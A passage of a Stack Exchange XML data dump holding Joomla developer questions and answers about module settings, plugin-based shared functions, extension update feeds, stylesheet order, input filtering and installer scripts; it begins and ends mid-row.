LastEditDate="2017-02-08T17:11:47.973" LastActivityDate="2017-02-08T17:11:47.973" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19100" PostTypeId="2" ParentId="19096" CreationDate="2017-02-08T16:52:35.133" Score="2" Body="&lt;p&gt;This is a known bug and should be fixed in version 3.7 please see &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/13243&quot; rel=&quot;nofollow noreferrer&quot;&gt;the bug info here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a work around you can remove the position in the database - look in the xxx_modules table for your module, there is a column called 'position' just delete the value in this column.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2017-02-08T16:52:35.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19101" PostTypeId="2" ParentId="19088" CreationDate="2017-02-08T18:12:00.947" Score="2" Body="&lt;p&gt;Found the problem by myself.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'module' : 'mod_ajax_test',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;must be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'module' : 'ajax_test',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9651" LastActivityDate="2017-02-08T18:12:00.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19102" PostTypeId="1" CreationDate="2017-02-09T07:17:53.750" Score="0" ViewCount="373" Body="&lt;p&gt;I am using a &lt;code&gt;SJ Flat&lt;/code&gt; menu module and some of my menu items have the Target windows set to New window with navigation.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, the module removed that attribute and it has a new declaration of the Target behavior.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Below is the code&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$target = &amp;quot;&amp;quot;;&#xA;$link_target = $params-&amp;gt;get('link_target','_self');&#xA;switch ($link_target) {&#xA;    default:&#xA;        case '_self':&#xA;        break;&#xA;    case '_blank':&#xA;    case '_parent':&#xA;    case '_top':&#xA;        $target = 'target=&amp;quot;'.$link_target.'&amp;quot;';&#xA;        break;&#xA;    case '_windowopen':&#xA;        $target = &amp;quot;onclick=\&amp;quot;window.open(this.href,'targetWindow','toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,false');return false;\&amp;quot;&amp;quot;;&#xA;        break;&#xA;    case '_modal':&#xA;        // user process&#xA;        break;&#xA;}&#xA;$icon_menu = ($menus[$i]-&amp;gt;menu_image != '')&#xA;    ? '&amp;lt;img src='.JURI::base().$menus[$i]-&amp;gt;menu_image.' alt='.$menus[$i]-&amp;gt;title.'  title='.$menus[$i]-&amp;gt;title.' /&amp;gt;'&#xA;    : '';&#xA;$divLink = &amp;quot;&amp;lt;div class='fm-link' &amp;quot;.$style.&amp;quot;&amp;gt;&#xA;        &amp;lt;a &amp;quot;.$target.&amp;quot; href='&amp;quot;.$menus[$i]-&amp;gt;flink.&amp;quot;'&amp;gt;&amp;quot;.$icon_menu.$menus[$i]-&amp;gt;title.&amp;quot;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now I want to use the module but will have the natural way of linking.&lt;/p&gt;&#xA;&lt;p&gt;The situation right now is, I set Target Window to New Window With Navigation in the menu item, see below screencap&lt;a href=&quot;https://i.stack.imgur.com/F4QuN.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/F4QuN.jpg&quot; alt=&quot;Target Window&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But the problem is, the target window is being cleared in the module because the module that I am using has a target window setting also. But if you set the target window in the module it will affect all the menu item.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/N6YSL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/N6YSL.jpg&quot; alt=&quot;Module Target window setting&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So after checking the codes of the module, I found the above code.&lt;/p&gt;&#xA;&lt;p&gt;Now I want to disregard the setting in the module and inherit the setting from the menu item&lt;/p&gt;&#xA;" OwnerUserId="9561" LastEditorUserId="12352" LastEditDate="2020-08-27T22:43:21.763" LastActivityDate="2024-01-10T06:07:00.887" Title="Module Removed The New Window Option of Link" Tags="|module|menu-item|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19103" PostTypeId="1" AcceptedAnswerId="19117" CreationDate="2017-02-09T07:46:50.207" Score="2" ViewCount="1272" Body="&lt;p&gt;How can I make few &lt;strong&gt;global&lt;/strong&gt; &lt;code&gt;php functions&lt;/code&gt; which can be called from any Joomla &lt;code&gt;custom module&lt;/code&gt;?&#xA;E.g I wish to make a global function executing a select database query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function select($row,$table_name,$where,$equals) {&#xA;&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($row)&#xA;      -&amp;gt;from($db-&amp;gt;quoteName($table_name))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName($where) . &quot;=&quot; . $db-&amp;gt;q($equals));&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadResult();&#xA;$row = $db-&amp;gt;loadAssoc();&#xA;return $row[$row];&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then call it from any module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$result = select('id','#__table','name','john');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what would be the best way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="383" LastEditDate="2017-02-09T09:12:37.210" LastActivityDate="2017-02-11T22:36:37.933" Title="Global PHP functions?" Tags="|php|jdatabase|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19106" PostTypeId="2" ParentId="19103" CreationDate="2017-02-09T10:37:03.023" Score="2" Body="&lt;p&gt;I would suggest avoiding writing a &quot;global&quot; function. Yes it would be very easy to write one, but you'll be going against Joomla's architectural design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suggested way of doing this would be to implement the shared functionality as a plugin, with the function written as an event listener. Don't worry, its easier than it sounds.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Write a plugin like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgXyzMyPlugin extends JPlugin    // &amp;lt;-- replace 'xyz' with whatever you want; ie a relevant and unique plugin type name.&#xA;{&#xA;    public function onMyEvent()         // &amp;lt;-- it's an event listener, so name should start with 'on'.&#xA;    {&#xA;        //...your code here&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wherever you want to call the function, write the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JPluginHelper::importPlugin('xyz');  // &amp;lt;-- 'xyz' here is the same as in the plugin classname above.&#xA;$dispatcher = JEventDispatcher::getInstance();&#xA;$results = $dispatcher-&amp;gt;trigger('onMyEvent', $args);  //event name is the function name. $args is an array of the parameters.&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$results&lt;/code&gt; will now contain an array of the results from your function, and any others with the same plugin type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes your function available wherever you need it, but without it being global.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also has additional benefits; if you find a bug in the function, or want to improve it, you can upgrade the plugin without needing to touch all your other modules.&lt;/p&gt;&#xA;" OwnerUserId="5618" LastActivityDate="2017-02-09T10:37:03.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19107" PostTypeId="1" AcceptedAnswerId="19108" CreationDate="2017-02-09T11:37:48.993" Score="1" ViewCount="158" Body="&lt;p&gt;I have a number of Joomla extensions on the JED. I haven't set up a site for them; I'm just pointing JED at their location on Github. I've also never implemented auto-update for any of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JED now has a new policy that extensions must implement auto-update, so I'm going to have to think about how to do this, and I'd like to ask here for some advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've avoided doing the updates before mainly because, having the extension served directly from a Github repo, I didn't know where I could put the update feed XML file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it acceptable for the update XML to be part of the main repository? If so, where in the repo should I put it? And also, what URL would I give for it to the JED? I assume I'd have to give a link directly to the master branch; is that right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any tips or other relevant info on managing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="5618" LastActivityDate="2019-04-29T06:31:07.330" Title="Implementing Joomla update system for extension hosted on Github" Tags="|joomla-3.x|extensions|update|github|extension-update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19108" PostTypeId="2" ParentId="19107" CreationDate="2017-02-09T11:43:32.173" Score="2" Body="&lt;p&gt;Yes, you can put the &lt;code&gt;update.xml&lt;/code&gt; in the main repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the link to provide JED, you'll need to open the file on Github, then click &quot;Raw&quot;, so you URL will look something like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://raw.githubusercontent.com/USER/REPO-NAME/master/path-to-file/update.xml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://raw.githubusercontent.com/USER/REPO-NAME/master/path-to-file/update.xml&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And also be sure to reference this URL in your extension's XML file too.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-04-29T06:31:07.330" LastActivityDate="2019-04-29T06:31:07.330" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19109" PostTypeId="1" AcceptedAnswerId="19110" CreationDate="2017-02-09T18:33:20.583" Score="2" ViewCount="370" Body="&lt;p&gt;Joomla 3.6.5 default template (protostar), attaches the file 'bootstrap-rtl.css' before the file 'user.css'(the file that user can add their customizes styles there to be override in template.css) by default. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes some problems for me, there is only one solution and that is loading user.css before bootstrap-rtl.css. &#xA;How can I force protostar to do this? (I think there are something needed to be changed in 'index.php') &lt;/p&gt;&#xA;" OwnerDisplayName="user9658" LastEditorDisplayName="user9658" LastEditDate="2017-02-12T17:07:17.090" LastActivityDate="2017-02-12T17:07:17.090" Title="user.css file and bootstrap-rtl.css file" Tags="|joomla-3.x|bootstrap|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19110" PostTypeId="2" ParentId="19109" CreationDate="2017-02-09T22:56:20.293" Score="2" Body="&lt;p&gt;It probably makes most sense for ProtoStar to load &lt;code&gt;user.css&lt;/code&gt; last but there are a few ways to work around stylesheet load order issues without hacking the core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. jQuery Easy&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/jquery-easy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;jQuery Easy&lt;/a&gt; can be used to remove the stylesheets and then add them back in the desired order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Specificity&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make custom CSS changes specific enough so that they override the other stylesheets regardless of the stylesheet order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;https://joomla.stackexchange.com/a/15853/120&quot;&gt;https://joomla.stackexchange.com/a/15853/120&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Use a Third Party Extension to load your custom CSS file&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of using &lt;code&gt;user.css&lt;/code&gt; for your custom CSS, try some third party extensions which may load custom CSS files in a different order compared to the ProtoStar &lt;code&gt;user.css&lt;/code&gt; stylesheet. For example, &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/easyscript/&quot; rel=&quot;nofollow noreferrer&quot;&gt;EasyScript&lt;/a&gt; loads a custom CSS file e.g. &lt;code&gt;custom.css&lt;/code&gt; last.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;https://joomla.stackexchange.com/q/15852/120&quot;&gt;How can I load the new Protostar custom CSS stylesheet last?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2017-02-09T23:08:19.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19111" PostTypeId="1" AcceptedAnswerId="19320" CreationDate="2017-02-10T01:16:16.643" Score="2" ViewCount="168" Body="&lt;p&gt;I'd like to use the Joomla default HTML tag/attribute blacklist for filtering some data coming into a custom API I have inside a Joomla component. The text at the bottom of the 'Text Filters' config page includes the following note:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;-- Tags for the Default Blacklist include: 'applet', 'body', 'bgsound', 'base', 'basefont', 'embed', 'frame', 'frameset', 'head',&#xA;  'html', 'id', 'iframe', 'ilayer', 'layer', 'link', 'meta', 'name',&#xA;  'object', 'script', 'style', 'title', 'xml'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've spent the last hour trawling through Joomla code trying to figure out where/when it creates an instance of JFilterInput that uses this default blacklist. Closest I can find is JComponentHelper, which seemingly does so within it's filterText() method, but it still isn't apparent to me where that default list is actually coming from (I couldn't even get JComponentHelper::filterText() to work for that matter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a handy way to get such a configured JFilterInput instance, or am I going to have to capture the blacklist tag set myself somewhere in my own component and pass this into JFilterInput::getInstance()?&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2017-03-11T00:15:02.830" Title="How to get a JFilterInput instance with 'default blacklist' configured" Tags="|joomla-3.6|content-filtering|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19113" PostTypeId="1" AcceptedAnswerId="19114" CreationDate="2017-02-10T09:34:12.530" Score="1" ViewCount="430" Body="&lt;p&gt;I have added several JoomShopping categories with respective pages. However, they have long URLs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://ysadba.kiev.ua/component/jshopping/CATEGORY/PRODUCT.html?Itemid=0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like them to look like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://ysadba.kiev.ua/CATEGORY/PRODUCT.html&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use the following .htaccess configuration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} ^/single-room([a-z0-9./-]*)$&#xA;RewriteRule single-room([a-z0-9./-]*) component/jshopping/single-room$1 [P]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I didn't succeed, because this redirects to &lt;em&gt;file&lt;/em&gt; with this address, while I just need to create some sort of &lt;em&gt;alias&lt;/em&gt;. Has anyone experienced similar problems?&lt;/p&gt;&#xA;" OwnerUserId="9664" LastActivityDate="2018-01-06T17:27:07.820" Title="How to change JoomShopping URLs?" Tags="|plugin|url|.htaccess-configuration|alias|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19114" PostTypeId="2" ParentId="19113" CreationDate="2017-02-10T10:15:22.470" Score="1" Body="&lt;p&gt;Yes it redirects to the long address; in your case IMHO: you have to write a &lt;code&gt;router&lt;/code&gt; to supporting SEF URLs in your component.&#xA;I think, all you need is described here:&#xA;&lt;a href=&quot;https://docs.joomla.org/Supporting_SEF_URLs_in_your_component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Supporting_SEF_URLs_in_your_component&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7023" LastActivityDate="2017-02-10T10:15:22.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19115" PostTypeId="2" ParentId="19102" CreationDate="2017-02-10T15:27:00.047" Score="0" Body="&lt;p&gt;Target Window to New Window With Navigation = target=&quot;_blank&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;modules &gt; mod_menu &gt; tmpl &gt; default_url.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you will find the default Joomla style which is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   if ($item-&amp;gt;browserNav == 1)&#xA;    {&#xA;        $attributes['target'] = '_blank';&#xA;    }&#xA;    elseif ($item-&amp;gt;browserNav == 2)&#xA;    {&#xA;        $options = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,' . $params-&amp;gt;get('window_open');&#xA;&#xA;        $attributes['onclick'] = &quot;window.open(this.href, 'targetWindow', '&quot; . $options . &quot;'); return false;&quot;;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively - the template that you have may have the it located in the following folder:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;templates &gt; templatename &gt; html &gt; modules &gt; mod_menu &gt; tmpl &gt; default_url.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So - looking at these may give you a clue into how to solve it.&lt;/p&gt;&#xA;" OwnerUserId="3485" LastActivityDate="2017-02-10T15:27:00.047" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19116" PostTypeId="2" ParentId="16685" CreationDate="2017-02-10T21:13:01.793" Score="1" Body="&lt;p&gt;Make these couple of changes and it should work without any issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change your Mail Sent statement to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;sendMessage(JFactory::getApplication()-&amp;gt;enqueueMessage('Mail Sent.','success'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add the following function to your PHP file that sends the mail:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function sendMessage($message, $error = false, array $data = array())&#xA;{&#xA;    ob_clean();&#xA;    if(!$error){&#xA;        JFactory::getApplication()-&amp;gt;enqueueMessage($message);&#xA;        echo new JResponseJson($data);&#xA;    }else{&#xA;        JFactory::getApplication()-&amp;gt;enqueueMessage($message, 'error');&#xA;        $response = new JResponseJson($data, $message, true);&#xA;        foreach($response-&amp;gt;messages['error'] as $i =&amp;gt; $message){&#xA;            if($message instanceof Exception){&#xA;                $response-&amp;gt;messages['error'][$i] = $message-&amp;gt;getMessage();&#xA;            }&#xA;        }&#xA;        echo $response;&#xA;    }&#xA;    JFactory::getApplication()-&amp;gt;close();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change your JavScript Ajax request to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var result = $ajax({&#xA;  url: &quot;phpname.php&quot;,&#xA;  type: &quot;POST&quot;,&#xA;  data: {option: com_ajax, a1: mail, a2: from, a3: ...},&#xA;  success: function(result){&#xA;      var json = jQuery.parseJSON(result);&#xA;      Joomla.renderMessages(json.messages);&#xA;      console.log(result);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should allow your success message to show up in the System message container.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2017-02-10T21:13:01.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19117" PostTypeId="2" ParentId="19103" CreationDate="2017-02-10T22:13:53.073" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;To add a global function you just need to declare a function early in the lifecycle where you are not in a class - all functions per se are global in php.  A reasonable place to do so that would not get overridden would be outside the class declaration in a system plugin.  Any functions there will be added to the global space during the joomla initialisation - disabling the plugin will stop the functions being loaded.  If you are going to do that then you should make sure your functions are called something that will not collide with other functions.  This is not a good practice but whatever.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What I would recommend is that you use static methods instead and register your class in the libraries folder with jloader.  The doc is here: &lt;a href=&quot;https://docs.joomla.org/Using_own_library_in_your_extensions&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Using_own_library_in_your_extensions&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In short if I call my lib Pf then I will have a file called /libraries/pf/helper.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;class PfHelper&#xA;{&#xA;    public static function sayWooh()&#xA;    {&#xA;        return &quot;wooh!&quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And a system plugin that registers the library - this will autoload all the classes in the library that follow the naming convention as detailed in the doc linked above.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A system plugin requires a minimum 2 files.&#xA;/plugins/system/loadcustomlibrary.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.1&quot; type=&quot;plugin&quot; group=&quot;system&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;Load Custom Library&amp;lt;/name&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;Register custom library with Joomla's autoloader&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&quot;loadcustomlibrary&quot;&amp;gt;loadcustomlibrary.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;/plugins/system/loadcustomlibrary.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;class plgSystemLoadcustomlibrary extends JPlugin&#xA;{&#xA;    public function onAfterInitialise()&#xA;    {&#xA;        JLoader::registerPrefix('Pf', JPATH_LIBRARIES . '/pf');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now anywhere in Joomla I can use any of my functions from the helper like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo PfHelper::sayWooh();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The benefits are that you only need to make sure your library name isn't a copy of one of the things already in the Joomla libraries folder.  Joomla will only load the helper class if you are using it because it is autoloaded.  You still get the simplicity of being able to call you function/method anywhere without having to import something each time.  You can break your functions up into classes if you have a lot of them which may help with reusability and maintainability etc.  Having your own library is a nice technique to know if you want to use some code all over the place.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2017-02-11T22:36:37.933" LastActivityDate="2017-02-11T22:36:37.933" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19121" PostTypeId="1" CreationDate="2017-02-11T18:48:21.557" Score="1" ViewCount="472" Body="&lt;p&gt;I want to make a form which contains one select field (dates) and multiple checkbox fields (teams), so when I select a date or choose a team, automatically makes a query a database, filtering by the selected date and teams. However, I don't know where I have to start, so any advise would be greatful. Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="9676" LastActivityDate="2017-03-14T23:34:44.737" Title="Select+Checkboxes fields = query a Database" Tags="|php|mysql|select|" AnswerCount="2" CommentCount="1" ClosedDate="2019-02-28T11:27:33.340" ContentLicense="CC BY-SA 3.0" />
  <row Id="19122" PostTypeId="2" ParentId="19121" CreationDate="2017-02-11T23:36:29.353" Score="0" Body="&lt;p&gt;You can create a search form and add some custom code to query the database and display the results using many of the &lt;a href=&quot;https://extensions.joomla.org/category/contacts-and-feedback/forms&quot; rel=&quot;nofollow noreferrer&quot;&gt;forms extensions in the Joomla Extensions Database&lt;/a&gt; e.g. &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/contacts-and-feedback/forms/chronoforms&quot; rel=&quot;nofollow noreferrer&quot;&gt;ChronoForms&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the &lt;a href=&quot;http://www.chronoengine.com/faqs.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;FAQs&lt;/a&gt; and the &lt;a href=&quot;http://www.chronoengine.com/forums.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Forums&lt;/a&gt; for the latest examples.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-02-11T23:36:29.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19123" PostTypeId="2" ParentId="19046" CreationDate="2017-02-12T01:15:50.443" Score="0" Body="&lt;p&gt;Thanks to Andrew Eddie, and expanding on example 1 in @FFrewin's answer:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Write whatever intro text you like, inserting the &quot;Read More&quot; at the end of the intro text as usual.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the article options, set Show Intro Text = Hide (see example below)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The intro text will now only be shown in category blogs etc and not shown at all when viewing the article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;http://eddify.me/posts/joomlas-hidden-feature-hiding-intro-text.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://eddify.me/posts/joomlas-hidden-feature-hiding-intro-text.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/p0j6C.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/p0j6C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2017-02-12T06:34:27.133" LastActivityDate="2017-02-12T06:34:27.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19124" PostTypeId="2" ParentId="19" CreationDate="2017-02-12T06:58:56.767" Score="1" Body="&lt;h1&gt;Improve Server/Web Hosting Plan Resources&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Maybe not the answer the OP was looking for but worth mentioning in case it's not obvious to everyone (and no other answers have mentioned this yet): improve server resources such as memory, CPU and disk speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using shared web hosting, upgrading from the &quot;economy&quot; plan to the &quot;business&quot; plan or another more advanced plan may improve server resources available to your website and reduce the server response time. Moving to a better quality hosting company (e.g. with less crowded shared web hosting servers) might also help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better hosting plan might also give you access to performance enhancements that are not included in the basic hosting plan. For example, the &quot;GrowBig&quot; and &quot;GoGeek&quot; SiteGround hosting plans include dynamic cache which helps reduce server response time significantly. The dynamic cache option is not available in the &quot;Startup&quot; plan.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2017-02-12T07:15:04.523" LastActivityDate="2017-02-12T07:15:04.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19125" PostTypeId="1" CreationDate="2017-02-12T14:55:30.577" Score="2" ViewCount="401" Body="&lt;p&gt;I am creating a Joomla package that will install some plugins and some image files together. I want to copy the images from the package to the Joomla site using an installer script. How do I find the name of the temporary install directory in order to copy the files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;em&gt;pkg_foo.zip&lt;/em&gt; has the following directory structure.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;packages/plg_plugin1.zip&#xA;packages/plg_plugin2.zip&#xA;image.png&#xA;pkg_foo.xml&#xA;script.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I have the following in &lt;em&gt;script.php&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.filesystem.folder');&#xA;jimport('joomla.filesystem.file');&#xA;&#xA;class pkg_fooInstallerScript&#xA;{&#xA;    function install($parent) {&#xA;            JFile::move( TEMPORARY_DIRECTORY . '/image.png', JPATH_ROOT 